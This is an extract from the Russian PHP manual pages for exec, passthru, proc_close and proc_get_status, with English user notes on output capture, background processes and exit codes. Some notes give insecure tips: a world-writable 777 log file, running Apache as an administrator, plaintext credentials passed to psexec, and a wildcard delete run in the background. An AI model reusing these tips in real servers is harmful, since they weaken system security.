Will fail, and show nothing, you must use

mkdir /impossible 2>&1

to properly capture the error message

ELSE
if executed in CLI, will just print on the terminal, if executed on a browser is lost.

I strongly suggested those notes to be added in the main description, and not lost in a comment at the bottom.
no at mail dot com 06-Mar-2023 02:37
<this note copied from system page>
This is for WINDOWS users. I am running apache and I have been trying for hours now to capture the output of a command.

I'd tried everything that is written here and then continued searching online with no luck at all. The output of the command was never captured. All I got was an empty array.

Finally, I found a comment in a blog by a certain amazing guy that solved my problems.

Adding the string ' 2>&1' to the command name finally returned the output!! This works in exec() as well as system() in PHP since it uses stream redirection to redirect the output to the correct place!
<?php
exec("yourCommandName 2>&1", $output);
var_dump($output);
?>
php dot reg at kjpetrie dot co dot uk 24-Aug-2022 11:00
If you want to run the command in the background and also use escapeshellcmd() as recommended, ensure you do the redirection outside the brackets! These are things you do want the shell to interpret.

E.g. exec(escapeshellcmd('mycommand and arguments').' > /dev/null &');
krjdev at gmail dot com 20-Oct-2021 09:26
Note for OpenBSD users:

In the default configuration from OpenBSD, PHP runs into a chroot. So the exec() command will not work. You will get a 127 (command not found) result code. The reason is, the shell (/bin/sh) is missing in chroot, but the exec() command requires the shell.

A quick and dirty solution is to copy /bin/sh (which is statically linked) in the chroot directory:
<?php
$ cp /bin/sh /var/www/bin
?>

(I have noticed this on OpenBSD 7.0 with PHP 8.0.11.)
ivk 24-Mar-2021 01:43
result_code -1 could mean "Maximum number of file descriptors reached". Check count(get_resources('stream')) and ulimit -Sn
Hypolite Petovan 03-Apr-2020 03:48
On Unix, to execute a command $cmd in the background, the one and only allowed standard output redirection syntax is "> /path/to/file &". No other valid standard output redirection syntax will allow a command to be ran in the background.

<?php
// The following will be ran in the background
exec($cmd . " > /path/to/file &");

// All the following will NOT be ran in the background
exec($cmd . " >> /path/to/file &");
exec($cmd . " &> /path/to/file &");
exec($cmd . " &>> /path/to/file &");
exec($cmd . " 2>&1 > /path/to/file &");
exec($cmd . " 2>&1 >> /path/to/file &");
?>
Paul Sommer 14-May-2016 01:33
I tried to execute a command in background under Windows.
After struggling for hours with all these half ready examples I would like to share the syntax I found working (for windows at least). This is not tested under Linux as there are more elegant ways to spawn a process.

Based on  the function from Arno van den Brink.

<?php
function execInBackground($cmd) {
    if (substr(php_uname(), 0, 7) == "Windows"){
        pclose(popen("start /B ". $cmd, "r"));
    }
    else {
        exec($cmd . " > /dev/null &");
    }
}
?>

This works perfectly with e.g.
<?php
execInBackground('del c:\tmp\*.*')
?>

but the following does NOT work:
<?php
execInBackground('\"c:\path with spaces\my program.exe\"')
?>

Why?
When windows sees quotation marks (\") it thinks this is the window title, not the command.
So, when your command needs quotation marks you HAVE TO provide a window name first, like
execInBackground("\"title\"" "\"c:\path with spaces\my program.exe\")

Quotation marks are mandatiory for window title. Otherwise windows thinks this is the program name.

Weired, but "Hey! it's Windows!" :)
Simon 24-Nov-2014 05:07
Can't get the output from your exec'd command to appear in the $output array?
Is it echo'ing all over your shell instead?

Append "2>&1" to the end of your command, for example:

exec("xmllint --noout ~/desktop/test.xml 2>&1", $retArr, $retVal);

Will fill the array $retArr with the expected output; one line per array key.
juan at laluca dot com 13-Jan-2011 07:36
I was trying to get an acceslist from a remote computer by executing cacls and parse it in php, all in a  Windows environment with Apache. First i discovered psexec.exe from Windows SysInternals.

But with the following line, I didn?t get anything, it get hunged, although from the command line it worked nice:

<?php exec ('c:\\WINDOWS\\system32\\psexec.exe \\192.168.1.224 -u myuser -p mypassword -accepteula cacls c:\\documents\\RRHH && exit', $arrACL ); ?>

To make it work I just followed the next steps:
- execute services.msc and find the apache service (In my case wampapache)
- Right button>Log On tab and change from Local System Account to a user created account, enter the username and the password and restart the service.

(I added this user to the administrators group to avoid permissions problems but its not recommended...)

It worked! And it may work with IIS too so try it if you have the same poblem....

Hope this helps someone, and sorry for my english
alvaro at demogracia dot com 27-Dec-2010 05:27
In Windows, exec() issues an internal call to "cmd /c your_command". This implies that your command must follow the rules imposed by cmd.exe which includes an extra set of quotes around the full command:

- http://ss64.com/nt/cmd.html

Current PHP versions take this into account and add the quotes automatically, but old versions didn't.

Apparently, the change was made in PHP/5.3.0 yet not backported to 5.2.x because it's a backwards incompatible change. To sum up:

- In PHP/5.2 and older you have to surround the full command plus arguments in double quotes
- In PHP/5.3 and greater you don't have to (if you do, your script will break)

If you are interested in the internals, this is the source code:

sprintf(cmd, "%s /c \"%s\"", TWG(comspec), command);

It can be found at http://svn.php.net/viewvc/ (please find php/php-src/trunk/TSRM/tsrm_win32.c, the comment system doesn't allow the direct link).
Martin Lakes 21-Dec-2010 08:20
Took quite some time to figure out the line I am going to post next. If you want to execute a command in the background without having the script waiting for the result, you can do the following:

<?php
passthru("/usr/bin/php /path/to/script.php ".$argv_parameter." >> /path/to/log_file.log 2>&1 &");
?>

There are a few thing that are important here.

First of all: put the full path to the php binary, because this command will run under the apache user, and you will probably not have command alias like php set in that user.

Seccond: Note 2 things at the end of the command string: the '2>&1' and the '&'. The '2>&1' is for redirecting errors to the standard IO. And the most important thing is the '&' at the end of the command string, which tells the terminal not to wait for a response.

Third: Make sure you have 777 permissions on the 'log_file.log' file

Enojy!
elwiz at 3e dot pl 06-Sep-2010 06:10
On Windows-Apache-PHP servers there is a problem with using the exec command more than once at the same time. If a script (with the exec command) is loaded more than once by the same user at the same time the server will freeze.
In my case the PHP script using the exec command was used as the source of an image tag. More than one image in one HTML made the server stop.
The problem is described here (http://bugs.php.net/bug.php?id=44942) toghether with a solution - stop the session before the exec command and start it again after it.

<?php

session_write_close();
exec($cmd);
session_start();

?>
bahri at bahri dot info 20-Mar-2009 01:15
[NOTE BY danbrown AT php DOT net: The following is a Linux script that the contributor of this note suggests be placed in a file named 'pstools.inc.php' to execute a process, check if a process exists, and kill a process by ID.  Inspired by the Windows version at http://php.net/exec#59428 ]

<?php
  function PsExecute($command, $timeout = 60, $sleep = 2) {
        // First, execute the process, get the process ID

        $pid = PsExec($command);

        if( $pid === false )
            return false;

        $cur = 0;
        // Second, loop for $timeout seconds checking if process is running
        while( $cur < $timeout ) {
            sleep($sleep);
            $cur += $sleep;
            // If process is no longer running, return true;

           echo "\n ---- $cur ------ \n";

            if( !PsExists($pid) )
                return true; // Process must have exited, success!
        }

        // If process is still running after timeout, kill the process and return false
        PsKill($pid);
        return false;
    }

    function PsExec($commandJob) {

        $command = $commandJob.' > /dev/null 2>&1 & echo $!';
        exec($command ,$op);
        $pid = (int)$op[0];

        if($pid!="") return $pid;

        return false;
    }

    function PsExists($pid) {

        exec("ps ax | grep $pid 2>&1", $output);

        while( list(,$row) = each($output) ) {

                $row_array = explode(" ", $row);
                $check_pid = $row_array[0];

                if($pid == $check_pid) {
                        return true;
                }

        }

        return false;
    }

    function PsKill($pid) {
        exec("kill -9 $pid", $output);
    }
?>
dell_petter at hotmail dot com 04-Feb-2009 02:52
(This is for linux users only).

We know now how we can fork a process in linux with the & operator.
And by using command: nohup MY_COMMAND > /dev/null 2>&1 & echo $! we can return the pid of the process.

This small class is made so you can keep in track of your created processes ( meaning start/stop/status ).

You may use it to start a process or join an exisiting PID process.

<?php
    // You may use status(), start(), and stop(). notice that start() method gets called automatically one time.
    $process = new Process('ls -al');

    // or if you got the pid, however here only the status() metod will work.
    $process = new Process();
    $process.setPid(my_pid);
?>

<?php
    // Then you can start/stop/ check status of the job.
    $process.stop();
    $process.start();
    if ($process.status()){
        echo "The process is currently running";
    }else{
        echo "The process is not running.";
    }
?>

<?php
/* An easy way to keep in track of external processes.
 * Ever wanted to execute a process in php, but you still wanted to have somewhat controll of the process ? Well.. This is a way of doing it.
 * @compability: Linux only. (Windows does not work).
 * @author: Peec
 */
class Process{
    private $pid;
    private $command;

    public function __construct($cl=false){
        if ($cl != false){
            $this->command = $cl;
            $this->runCom();
        }
    }
    private function runCom(){
        $command = 'nohup '.$this->command.' > /dev/null 2>&1 & echo $!';
        exec($command ,$op);
        $this->pid = (int)$op[0];
    }

    public function setPid($pid){
        $this->pid = $pid;
    }

    public function getPid(){
        return $this->pid;
    }

    public function status(){
        $command = 'ps -p '.$this->pid;
        exec($command,$op);
        if (!isset($op[1]))return false;
        else return true;
    }

    public function start(){
        if ($this->command != '')$this->runCom();
        else return true;
    }

    public function stop(){
        $command = 'kill '.$this->pid;
        exec($command);
        if ($this->status() == false)return true;
        else return false;
    }
}
?>
Arno van den Brink 13-Oct-2008 08:04
This will execute $cmd in the background (no cmd window) without PHP waiting for it to finish, on both Windows and Unix.

<?php
function execInBackground($cmd) {
    if (substr(php_uname(), 0, 7) == "Windows"){
        pclose(popen("start /B ". $cmd, "r"));
    }
    else {
        exec($cmd . " > /dev/null &");
    }
}
?>
dr_jones153 at hotmail dot com 23-Jan-2008 07:04
If SAFE_MODE is on, and you are trying to run a script in the background by appending "> /dev/null 2> /dev/null & echo $!" to the command line, the browser will hang until the script is done.

My solution:

Create a shell script (ex. runscript.sh) which contains the execution line for the script you are trying to run in the background.
The runscript.sh is run by an exec() call without the redirect string, which is now placed in the runscript.sh.

runscript.sh will return almost immediately because output of the original script is redirected, and so will not hang your browser and the script runs fine in the background.
Farhad Malekpour 26-Jul-2007 04:24
If you're trying to use exec in a script that uses signal SIGCHLD, (i.e. pcntl_signal(SIGCHLD,'sigHandler');) it will return -1 as the exit code of the command (although output is correct!). To resolve this remove the signal handler and add it again after exec. Code will be something like this:

...
pcntl_signal(SIGCHLD, 'sigHandler');
...
...
(more codes, functions, classes, etc)
...
...
// Now executing the command via exec
// Clear the signal
pcntl_signal(SIGCHLD, SIG_DFL);
// Execute the command
exec('mycommand',$output,$retval);
// Set the signal back to our handler
pcntl_signal(SIGCHLD, 'sigHandler');
// At this point we have correct value of $retval.

Same solution can apply to system and passthru as well.
Bob-PHP at HamsterRepublic dot com 18-Oct-2005 11:00
exec strips trailing whitespace off the output of a command. This makes it impossible to capture signifigant whitespace. For example, suppose that a program outputs columns of tab-delimited text, and the last column contains empty fields on some lines. The trailing tabs are important, but get thrown away.

If you need to preserve trialing whitespace, you must use popen() instead.
layton at layton dot tk 18-Jan-2005 03:52
This is the second time this one got me, I thought someone else might find this note useful too.

I am creating a long running exec'd process that I can access with page submissions up to 2 hours later. The problem is this, the first time I access the page everything works like it should. The second time the web browser waits and waits and never gets any messages -- the CPU time is not affected so it is apparent that something is blocked.

What is actually happening is that all of the open files are being copied to the exec'd process -- including the network connections. So the second time I try to access the web page, I am being given the old http network connection which is now being ignored.

The solution is to scan all file handles from 3 on up and close them all. Remember that handles 0, 1, and 2 are standard input, standard output, and standard error.
msheakoski @t yahoo d@t com 08-Jul-2004 08:40
I too wrestled with getting a program to run in the background in Windows while the script continues to execute.  This method unlike the other solutions allows you to start any program minimized, maximized, or with no window at all.  llbra@phpbrasil's solution does work but it sometimes produces an unwanted window on the desktop when you really want the task to run hidden.

start Notepad.exe minimized in the background:

<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("notepad.exe", 7, false);
?>

start a shell command invisible in the background:
<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("cmd /C dir /S %windir%", 0, false);
?>

start MSPaint maximized and wait for you to close it before continuing the script:
<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("mspaint.exe", 3, true);
?>

For more info on the Run() method go to:
http://msdn.microsoft.com/library/en-us/script56/html/wsMthRun.asp
hans at internit dot NO_SPAM dot com 02-Feb-2002 02:25
From what I've gathered asking around, there is no way to pass back a perl array into a php script using the exec function.

The suggestion is to just print out your perl array variables at the end of your script, and then grabbing each array member from the array returned by the exec function. If you will be passing multiple arrays, or if you need to keep track of array keys as well as values, then as you print each array or hash variable at the end of your perl script, you should concatenate the value with the key and array name, using an underscore, as in:

foreach (@array) print "(array name)_(member_key)_($_)" ;

Then you would simply iterate through the array returned by the exec function, and split each variable along the underscore.

Here I like to especially thank Marat for the knowledge. Hope this is useful to others in search for similar answer!


Выполнить внешнюю программу и отобразить необработанный вывод

  • « exec
  • proc_close »
  • PHP Manual
  • Функции запуска программ
  • Выполнить внешнюю программу и отобразить необработанный вывод

passthru

(PHP 4, PHP 5, PHP 7, PHP 8)

passthru — Выполнить внешнюю программу и отобразить необработанный вывод

Описание

passthru(string $command, int &$result_code = null): ?false

Функция passthru() похожа на функцию exec() в том, что она выполняет команду command. Эта функция должна быть использована вместо функции exec() или system(), когда вывод команды Unix представляет собой двоичные данные, которые необходимо передать непосредственно в браузер. Стандартное использование этой функции - выполнение таких утилит как pbmplus, которые выводят непосредственно поток изображения. Установив Content-type в image/gif и затем вызвав программу pbmplus для вывода gif, вы можете создать PHP-скрипты, которые выводят изображения напрямую в браузер.

Список параметров

command

Команда, которая будет выполнена.

result_code

Если присутствует аргумент result_code, то код возврата Unix-команды будет помещён здесь.

Возвращаемые значения

Возвращает null в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выдаёт ошибку уровня E_WARNING, если функция passthru() не может выполнить команду command.

Выбрасывает исключение ValueError, если параметр command не указан или содержит нулевые байты.

Список изменений

Версия | Описание
8.0.0 | Если параметр command не указан или содержит нулевые байты, функция passthru() теперь выбрасывает исключение ValueError; ранее она выдавала ошибку уровня E_WARNING и возвращала false.

Примечания

Внимание

Если вы собираетесь передавать функции пользовательские данные, используйте функции escapeshellarg() или escapeshellcmd() для того, чтобы пользователи не смогли обмануть систему, запустив произвольную команду.

Замечание:

Если вы собираетесь использовать эту функцию в программе, работающей в качестве демона, убедитесь, что стандартный вывод функции направлен в файл или другой поток, в противном случае PHP зависнет вплоть до конца выполнения программы.

Смотрите также

  • exec() - Выполнить внешнюю программу
  • system() - Выполнить внешнюю программу и отобразить вывод
  • popen() - Открывает файловый указатель процесса
  • escapeshellcmd() - Экранировать метасимволы командной строки
  • Оператор исполнения

User Contributed Notes

divinity76+spam at gmail dot com 06-Oct-2022 04:32
if you have problems with passthru("docker-compose ...bash") losing interactive shell size information, try using proc_open instead, for some reason docker-compose bash knows the size of the outer terminal when i use use proc_open, but loses that information when i use passthru,

eg i replaced
<?php
passthru("docker-compose -f docker-compose.yml bash",$ret);
?>
with
<?php
$empty1=array();
$empty2=array();
$proc=proc_open("docker-compose -f docker-compose.yml bash",$empty1,$empty2 );
$ret = proc_close($proc);
?>

and suddenly docker-compose bash knew my terminal size :)
mail at dtrasbo dot dk 12-Sep-2022 09:26
To capture the output of a command in a string without using output buffer functions, use shell_exec()
tox at novasonica dot com 03-Sep-2019 10:57
I was trying to implement a system that allows running arbitrary CLI commands with parameters, but I kept running into the issues with user prompts from the command as they would let execution hang. The solution is simple: just use passthru() as it outputs everything and correctly handles user prompts out of the box.
me at yourMomsPussy dot cum 22-Nov-2016 03:46
`command` // back ticks drop you out of PHP mode into shell
exec('command', $output); // exec will allow you to capture the return of a command as reference
shell_exec('command'); // will return the output to a variable
system(); //as seen above.
myselfasunder at gmail dot com dot dfvuks 29-Nov-2010 01:00
PHP's program-execution commands fail miserably when it comes to STDERR, and the proc_open() command doesn't work all that consistently in non-blocking mode under Windows.

This command, although useful, is no different. To form a mechanism that will see/capture both STDOUT and STDERR output, pipe the command to the 'tee' command (which can be found for Windows), and wrap the whole thing in output buffering.

Dustin Oprea
Chroot 29-Jul-2008 09:48
If you have chrooted apache and php, you will also want to put /bin/sh into the chrooted environment. Otherwise, the exec() or passthru() will not function properly, and will produce error code 127, file not found.
jo at durchholz dot org 22-Nov-2007 12:17
Note to Paul Giblock: the command *is* run through the shell.
You can verify this on any Linux system with

<?php
passthru ('echo $PATH');
?>

You'll get the content of the PATH environment variable, not the string $PATH.
Paul Giblock 18-May-2007 11:30
Stuart:

The pasthru function does not execute the program through the shell.  What this mean, among other things, is that your PATH variable is never set.  Therefore, you have to use full paths on everything.

I believe system() will run your program underneith a shell.  This allow the program to run in a 'normal' environment.

-Paul
nuker at list dot ru 03-Jan-2006 05:51
I wrote function, that gets proxy server value from the Internet Explorer (from
registry). It was tested in Windows XP Pro

(Sorry for my English)

<?php
function getProxyFromIE()
{
        exec("reg query \"HKEY_CURRENT_USER\Software\Microsoft".
        "\Windows\CurrentVersion\Internet Settings\" /v ProxyEnable",
        $proxyenable,$proxyenable_status);

        exec("reg query \"HKEY_CURRENT_USER\Software\Microsoft".
        "\Windows\CurrentVersion\Internet Settings\" /v ProxyServer",
        $proxyserver);

        if($proxyenable_status!=0)
        return false; #Can't access the registry! Very very bad...
        else
        {
        $enabled=substr($proxyenable[4],-1,1);
        if($enabled==0)
        return false;
        else
        {
        $proxy=ereg_replace("^[ \t]{1,10}ProxyServer\tREG_SZ[ \t]{1,20}","",
        $proxyserver[4]);

        if(ereg("[\=\;]",$proxy))
        {
             $proxy=explode(";",$proxy);
             foreach($proxy as $i => $v)
             {
                   if(ereg("http",$v))
                   {
                   $proxy=str_replace("http=","",$v);
                   break;
                   }
             }
             if(@!ereg("^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\:".
             "[0-9]{1,5}$",$proxy))
             return false;
             else
             return $proxy;
        }
        else
        return $proxy;
        }

        }
}
?>
Note, that this function returns FALSE if proxy is disabled in Internet
Explorer. This function returns ONLY HTTP proxy server.

Usage:
<?php
$proxy=getProxyFromIE();
if(!$proxy)
echo "Can't get proxy!";
else
echo $proxy;
?>
Stuart Eve 08-Dec-2005 11:24
I dunno if anyone else might find this useful, but when I was trying to use the passthru() command on Suse9.3 I was having no success with the command:

$command = 'gdal_translate blahahahaha';

passthru($command);

It only worked once I put:

$command = '/usr/bin/local/gdal_translate blalalala';

passthru($command);
vijayramanan at rediffmail dot com 13-Oct-2005 03:09
I had an issue when i used exec

I think we were echoing information on the test.php script.
for eg: when we tried

exec(php test.php,$array,$error);

the return was 127 and the code was failing.

checking the note on this page gave us a hint to use passthru instead.
The only thing to note is that you need to provide the fuull path.

now our command became

passthru(/bin/php /pathtotest/test.php,$array,$error);

this works.

yipeee!!!!!
stuartc1 at NOSPAM dot hotmail dot com 09-Aug-2005 07:52
Thought it might beuseful to note the passthru seems to supress error messages whilst being run in Dos on Windows (test on NT).

To show FULL raw output including errors, use system().
igor at bboy dot ru 23-Jun-2005 01:33
If you are using passthru() to download files (for dynamically generated content or something outside webserver root) using similar code:

header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"myfile.zip\"");
header("Content-Length: 11111");
passthru("cat myfile.zip",$err);

and your download goes fine, but subsequent downloads / link clicks are screwed up, with headers and binary data being all over the website, try putting

exit();

after the passthrough. This will exit the script after the download is done and will not interfere with any future actions.
sarel dot w at envent dot co dot za 08-Mar-2005 11:33
Zak Estrada
14-Dec-2004 11:21
Remember to use the full path (IE '/usr/local/bin/foo' instead of 'foo') when using passthru, otherwise you'll get an exit code of 127 (command not found).

Remember, you'll also get this error if your file does not have executable permission.
puppy at cyberpuppy dot org 02-Mar-2005 02:50
Regarding swbrown's comment...you need to use an output buffer if you don't want the data displayed.

For example:
ob_start();
passthru("<i>command</i>");
$var = ob_get_contents();
ob_end_clean(); //Use this instead of ob_flush()

This gets all the output from the command, and exits without sending any data to stdout.
Zak Estrada 14-Dec-2004 08:21
Remember to use the full path (IE '/usr/local/bin/foo' instead of 'foo') when using passthru, otherwise you'll get an exit code of 127 (command not found).
php @ richud dot com 27-May-2004 08:30
Regarding kpierre's post, be mindful that if you shell script errors, you will find the error output from it in the base error_log file (not virtualhost error_log) in apache.
jcr at marvel-databadge dot com 04-Sep-2003 11:23
With apache 2.x on RH9 passthru() writes 1 byte at a time. Apache 2.x buffers and chunk encodes the output for you - but the chunked encoding devides the output in chunks of 1 byte each...thus several bytes of overhead per byte. I guess that buffering behaviour is by design - but caused problems for me with IE adobe acrobot 5 plugin. The plugin doesn't like like it if you send it a stream of 1 byte chunks - it tells you your file is not a pdf or gives a blank screen. Using output buffering (ob_start / ob_endflush) gives reasonable size chunks and the plugin works OK.
swbrown at ucsd dot edu 03-Jun-2003 08:41
passthru() seems absolutely determined to buffer output no matter what you do, even with ob_implicit_flush().  The solution seems to be to use popen() instead.
kpierre at fit dot edu 30-Jan-2002 07:35
The documention does not mention that passthru() will only display standard output and not standard error.

If you are running a script you can pipe the STDERR to STDOUT by doing

exec 2>&1

Eg. the script below will actually print something with the passthru() function...

#!/bin/sh
exec 2>&1
ulimit -t 60
cat nosuchfile.txt
andreas dot hochsteger at oeamtc dot at 03-Oct-2001 07:51
If you sometimes get no output from passthru() use system() instead. This solved this problem for me (php 4.0.5 on Tru64 Unix compiled with gcc).
sidney at jigsaw dot nl 20-Jun-2001 05:25
PJ's ulimit example is nice; however, if you include multiple commands in the script after the ulimit command, each gets its own, seperate 60 second time slot!<br>

Furthermore, these sixty seconds are *CPU* time. Most programs hang for other reasons than CPU hogging (for example, waiting for a database connection) so for most purposes the number 60 is rather too high.<br>

Try "ulimit -t 1" first, which will give you about 10^9 cycles on modern hardware -- quite enough to get a lot of work done!
PJ at piggei dot com 14-Feb-2001 05:06
About the problem of zombies, you may call a bash script like this:

--------------------------
#! /bin/bash
ulimit -t 60

<your command here>
--------------------------


Завершить процесс, открытый proc_open и вернуть код возврата этого процесса

  • « passthru
  • proc_get_status »
  • PHP Manual
  • Функции запуска программ
  • Завершить процесс, открытый proc_open и вернуть код возврата этого процесса

proc_close

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

proc_close — Завершить процесс, открытый proc_open() и вернуть код возврата этого процесса

Описание

proc_close(resource $process): int

Функция proc_close() похожа на функцию pclose(), за исключением того, что она работает только с процессами, открытыми при помощи функции proc_open(). Функция proc_close() ожидает завершения процесса и возвращает его код возврата. Открытые каналы для этого процесса закрываются при вызове этой функции, чтобы избежать полной остановки программы: дочерний процесс не сможет завершиться, если есть открытые каналы.

Список параметров

process

Дескриптор типа resource, открытый при помощи proc_open(), который будет закрыт.

Возвращаемые значения

Возвращает код завершения процесса, который был запущен. В случае ошибки возвращается -1.

Замечание:

Если PHP собран с опцией --enable-sigchild, возвращаемое значение этой функции не определено.

User Contributed Notes

Uwe Ohse 03-Sep-2015 11:12
Regarding: "Returns the termination status of the process that was run. In case of an error then -1 is returned."

This is, at best, misleading. It returns:
* -1 on error,
* WEXITSTATUS(status) if WIFEXITED(status) is true, or
* status if WIFEXITED(status) is false,
where status is the status parameter of waitpid().

This makes it impossible to differentiate between a relatively normal exit or a termination by signal, and reduces the value of the proc_close return code to a binary one (ok / something broke).

This can be seen in proc_open_rsrc_dtor() in ext/standard/proc_open.c (PHP 5.4.44, 5.6.12).
morrisdavidd at gmail dot com 04-Jun-2008 04:41
Consider the following pseudo code:

$SOME_PROCESS = proc_open(/* something here */);
...
$status = proc_get_status($SOME_PROCESS);
...
$exitCode = proc_close($SOME_PROCESS);

If the external program has exited on its own before the call to proc_get_status, then $exitCode == -1

So consider using:
$actualExitCode = ($status["running"] ? $exitCode : $status["exitcode"] );
ashnazg at php dot net 05-Oct-2007 02:25
It seems that if you configured --enable-sigchild when you compiled PHP (which from my reading is required for you to use Oracle stuff), then return codes from proc_close() cannot be trusted.

Using proc_open's Example 1998's code on versions I have of PHP4 (4.4.7) and PHP5 (5.2.4), the return code is always "-1".  This is also the only return code I can cause by running other shell commands whether they succeed or fail.

I don't see this caveat mentioned anywhere except on this old bug report -- http://bugs.php.net/bug.php?id=29123
oohay251 at yahoo dot com 15-Sep-2005 07:06
From various Internet posts and recent experience, I have observed that you cannot rely on proc_close returning the accurate return code of the child process. The return code also depends on wether or not you read from the stdout/stderr pipes, as my example shows. I work around this by writing the exit code to an additional file descriptor.

<?
$descriptorspec = array(
       0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
       1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
       2 => array('pipe', 'w'), // stderr is a pipe that the child will write to
    );
    $proc = @proc_open("/bin/ls -l /etc/passwd", $descriptorspec, $pipes);
    fclose($pipes[0]);
    $output = array();
    while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
    fclose($pipes[1]);
    while (!feof($pipes[2])) array_push($output, rtrim(fgets($pipes[2],1024),"\n"));
    fclose($pipes[2]);
    $exit=proc_close($proc);
    print_r($output);
    echo "exitcode $exit\n\n";

$descriptorspec = array(
       0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
       1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
       2 => array('pipe', 'w'), // stderr is a pipe that the child will write to
    );
    $proc = @proc_open("/bin/ls -l /etc/passwd", $descriptorspec, $pipes);
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    $exit=proc_close($proc);
    echo "exitcode $exit\n\n";

$descriptorspec = array(
       0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
       1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
       2 => array('pipe', 'w'), // stderr is a pipe that the child will write to
       3 => array('pipe', 'w'), // stderr is a pipe that the child will write to
    );
    $proc = @proc_open("/bin/ls -l /etc/passwd;echo $? >&3", $descriptorspec, $pipes);
    fclose($pipes[0]);
    $output = array();
    //comment next line to get correct exicode
    while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
    fclose($pipes[1]);
    while (!feof($pipes[2])) array_push($output, rtrim(fgets($pipes[2],1024),"\n"));
    fclose($pipes[2]);
    if (!feof($pipes[3])) $output['exitcode']=rtrim(fgets($pipes[3],5),"\n");
    fclose($pipes[3]);
    proc_close($proc);
    print_r($output);
?>

Outputs on my system:

Array
(
    [0] => -rw-r--r--  1 root root 1460 2005-09-02 09:52 /etc/passwd
    [1] =>
    [2] =>
)
exitcode -1

exitcode 1

Array
(
    [0] => -rw-r--r--  1 root root 1460 2005-09-02 09:52 /etc/passwd
    [1] =>
    [2] =>
    [exitcode] => 0
)
sergey1369 at narod dot ru 29-Aug-2003 03:16
Under PHP/4.3.3RC2, in case of two processes
these function may hangs. Work around is not use
proc_close, or put it after all fcloses done.

For example, this code hangs.

$ph1 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes1);
$ph2 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes2);

fclose($pipes1[0]); fclose($pipes1[1]); proc_close($ph1);
fclose($pipes2[0]); fclose($pipes2[1]); proc_close($ph2);

This code worked for me:

$ph1 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes1);
$ph2 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes2);

fclose($pipes1[0]); fclose($pipes1[1]);
fclose($pipes2[0]); fclose($pipes2[1]);
proc_close($ph1); proc_close($ph2);


Получить информацию о процессе, открытом proc_open

  • « proc_close
  • proc_nice »
  • PHP Manual
  • Функции запуска программ
  • Получить информацию о процессе, открытом proc_open

proc_get_status

(PHP 5, PHP 7, PHP 8)

proc_get_status — Получить информацию о процессе, открытом proc_open()

Описание

proc_get_status(resource $process): array

proc_get_status() получает данные о процессе, открытом при помощи функции proc_open().

Список параметров

process

Дескриптор типа resource, открытый при помощи proc_open(), который будет исследоваться.

Возвращаемые значения

Массив (array) с полученной информацией. Получаемый массив содержит следующие элементы:

элемент | тип | описание
command | string | Строка с командой, которая была передана функции proc_open().
pid | int | идентификатор процесса
running | bool | true, если процесс всё ещё запущен, false, если он был завершён.
signaled | bool | true, если дочерний процесс был завершён неперехваченным сигналом. Всегда устанавливается в false в Windows.
stopped | bool | true, если дочерний процесс был остановлен сигналом. Всегда устанавливается в false в Windows.
exitcode | int | Код возврата, передаваемый процессом (имеет значение только в том случае, если running равно false). Только первый вызов этой функции возвратит реальное значение, последующие вызовы будут возвращать -1.
termsig | int | Номер сигнала, который заставил дочерний процесс прекратить его выполнение (имеет значение только в том случае, если signaled равно true).
stopsig | int | Номер сигнала, который заставил дочерний процесс остановить его выполнение (имеет значение только в том случае, если stopped равно true).

Смотрите также

  • proc_open() - Выполнить команду и открыть указатель на файл для ввода/вывода

User Contributed Notes

marco dot marsala at live dot it 30-Jun-2023 09:09
If launching a GNU screen with proc_open, subsequents proc_get_status always return (wrongly) running = false

$descriptorspec = array(
     0 => array("pipe", "r"),  // stdin
     1 => array("pipe", "w"),  // stdout
     2 => array("pipe", "w") // stderr
);
$p = proc_open('screen ...', $descriptorspec, $pipes);
var_dump(proc_get_status($p)['running']); // false (wrong)
Lachlan Mulcahy 30-Mar-2011 11:40
It is worth noting that proc_get_status will continue to indicate the process that you spawned is running (because it is!) until that process has been able to write everything it wants to write to the STDOUT and STDERR streams.

PHP seems to use a buffer for this and so the spawned process can can get it's write calls to return immediately.

However, once this buffer is full the write call will block until you read out some of the information from the stream/pipe.

This can manifest itself in many ways but generally the called process will still be running, but just not doing anything as it is blocking on being able to write more to STDERR or STDOUT -- whichever stream buffer is full.

To work around this you should include in your loop of checking proc_get_status' running element a "stream_get_contents" on the relevant pipes.

I generally use stream_set_blocking($pipies[2], 0) kind of calls to make sure that the stream_get_contents call will not block if there is no data in the stream.

This one had me stumped for a while, so hopefully it helps someone!
Mark Seecof 06-Sep-2009 08:36
On Unix/Linux, if you change the command line you pass to proc_open() just slightly then proc_get_status() will give you the actual process-id (pid) of your child.

Suppose you wish to run the external command /usr/bin/compress to create a BSD foo.Z file.  Rather than proc_open("/usr/bin/compress /tmp/foo",...) you may invoke proc_open("exec /usr/bin/compress /tmp/foo",...) and then proc_get_status()['pid'] will be the actual pid of /usr/bin/compress.

